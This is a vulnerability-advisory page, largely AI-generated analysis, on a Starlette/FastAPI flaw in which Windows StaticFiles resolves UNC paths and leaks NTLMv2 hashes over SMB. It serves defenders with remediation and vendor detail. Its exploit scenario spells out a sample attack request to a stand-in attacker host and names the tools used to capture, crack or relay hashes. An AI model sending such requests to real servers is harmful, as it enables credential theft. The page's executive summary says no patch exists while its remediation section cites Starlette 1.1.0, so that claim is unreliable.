Starlette CVE-2026-48818
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify Windows-hosted Starlette/FastAPI static endpoint
-
DeliveryStand up rogue SMB listener (Responder/impacket)
-
ExploitSend HTTP request with UNC path \\attacker\share
-
InstallTrigger os.path.realpath on UNC path
-
C2Windows SMB client authenticates with NTLMv2
-
ExecuteCapture hash for offline crack or NTLM relay
-
ImpactLateral movement using cracked/relayed credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target to be running Starlette (or a Starlette-based framework such as FastAPI) versions earlier than 1.1.0 on Windows with a StaticFiles route mounted in the default follow_symlink=False configuration, and the application host must be able to establish outbound TCP/445 (SMB) to the attacker-controlled host. No authentication or user interaction is needed - any HTTP client that can reach the static-files endpoint can trigger the bug. Exploitation is LIMITED by: POSIX deployments are entirely unaffected; environments where outbound SMB is blocked by host firewall or network egress filtering cannot leak credentials; deployments that front Starlette with nginx/IIS for static content are not exposed; and configurations using follow_symlink=True take the os.path.abspath branch and are not vulnerable. |
| Impact | The CVSS 3.1 score of 7.5 with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N is consistent with the description: any unauthenticated remote client can trigger the bug with a single HTTP request, and the impact is confined to confidentiality (the NTLMv2 hash). EPSS and KEV data were not provided, and no public exploit identified at time of analysis, so this is not yet listed as actively exploited; however, the technique is well known to red teams (UNC path coercion / NTLM theft is a staple Windows attack primitive), the GHSA writeup is detailed, and the prerequisite - a Windows host running Starlette/FastAPI with StaticFiles - is common in Python web stacks. The CVSS does undercount real-world risk: a leaked NTLMv2 hash for a privileged service account can be cracked offline or relayed (e.g. to LDAP/SMB) to achieve lateral movement and code execution, so the practical blast radius is larger than the C:H/I:N/A:N triple suggests. Conversely, deployments behind nginx/IIS, on Linux, or with egress SMB blocked are not exploitable, so prioritization should be driven by whether any Windows-hosted Starlette/FastAPI service is exposed. |
| Exploit ScenarioDerived | An attacker sends an unauthenticated HTTP GET to a Windows-hosted FastAPI or Starlette application's static-file route with a UNC path in the URL, e.g. GET /static/\\attacker.example.com\share\x HTTP/1.1. Starlette's StaticFiles invokes os.path.realpath on the UNC path, the Windows SMB client connects to attacker.example.com:445 and performs NTLMv2 authentication using the service account's credentials, and the attacker (running Responder or impacket-smbserver) captures the NTLMv2 hash for offline cracking with hashcat or live relay to other internal services. The user receives a benign 404, leaving little forensic signal beyond outbound SMB traffic. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 15, 2026
Server-side request forgery in Starlette's StaticFiles on Windows allows unauthenticated remote attackers to coerce the application process into making outbound SMB connections to attacker-controlled hosts, leaking the service account's NTLMv2 hash for offline cracking or NTLM relay. The flaw affects all Starlette versions before 1.1.0 (including downstream frameworks like FastAPI) when running on Windows in the default follow_symlink=False configuration, and no public exploit identified at time of analysis though the GHSA advisory provides full technical detail sufficient to reproduce.
RemediationAI
Vendor-released patch: Starlette 1.1.0 - upgrade with pip install --upgrade 'starlette>=1.1.0' and bump any transitive pin in FastAPI projects accordingly, per the GHSA advisory at https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r. If immediate upgrade is not possible, the most effective compensating controls on Windows hosts are to front Starlette with a dedicated static-file server (nginx or IIS) so that StaticFiles never sees the request - this fully eliminates the code path at the cost of an extra deployment component - or to block outbound TCP/445 from the application host at the host firewall or network egress, which prevents the NTLM leak even if a UNC path is resolved but may break legitimate SMB use such as accessing file shares or DFS. Switching StaticFiles to follow_symlink=True also avoids the vulnerable os.path.realpath call, but this changes symlink-traversal semantics and may introduce its own path-traversal risk, so it is not recommended as a primary fix. Migrating the deployment to Linux removes the issue entirely.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Starlette is a lightweight ASGI framework written in Python (pkg:pip/starlette) that underpins FastAPI and other async web applications. The vulnerability lives in StaticFiles.lookup_path(), which uses os.path.join() to combine the served directory with the user-supplied path and then calls os.path.realpath() before applying os.path.commonpath() as a containment check. On Windows, UNC paths like \\attacker.com\share are absolute, so os.path.join discards the served directory and os.path.realpath performs filesystem I/O on the bare UNC path - Windows opens an SMB connection (TCP/445) and performs NTLM authentication against the remote host before the containment check ever runs. This is a textbook CWE-918 SSRF, but the side channel is the Windows SMB client rather than an HTTP request, and the leaked artifact is the process's NTLMv2 challenge-response. The follow_symlink=True branch is unaffected because it calls os.path.abspath(), which performs no I/O.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Unauthenticated remote HTTP request triggers NTLMv2 hash leak on default Windows config (AV:N/AC:L/PR:N/UI:N); credential disclosure is confidentiality-only with no integrity or availability impact.
Primary rating from Vendor (https://github.com/Kludex/starlette).
CVSS VectorVendor: https://github.com/Kludex/starlette
DescriptionCVE.org
Summary
When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.
Details
StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.
This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.
Impact
Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.
Mitigation
Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.
Blast Radius
ecosystem impact- 10 pypi packages depend on starlette (10 direct, 0 indirect)
Ecosystem-wide dependent count for version 1.1.0.
Executive ViewAI
Starlette and FastAPI applications running on Windows are vulnerable to credential theft, allowing unauthenticated attackers to extract service account authentication material that can be used for offline cracking or network-based attacks. Organizations operating these frameworks on Windows infrastructure face elevated risk of account compromise and potential lateral movement into domain resources. No patch is currently available; immediate defensive measures are required.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict outbound SMB connectivity (ports 139/445) at network egress; (2) Implement network segmentation isolating API servers from untrusted or external networks; (3) Monitor Windows event logs for unexpected SMB connection attempts to attacker-controlled hosts; (4) Run application service accounts without domain group membership; (5) Migrate static asset delivery to non-Windows infrastructure or external CDN where feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.0 | Not-Affected |
| SUSE Linux Enterprise Server 16.1 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Not-Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Not-Affected |
| openSUSE Leap 16.0 | Not-Affected |
GHSA-wqp7-x3pw-xc5r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB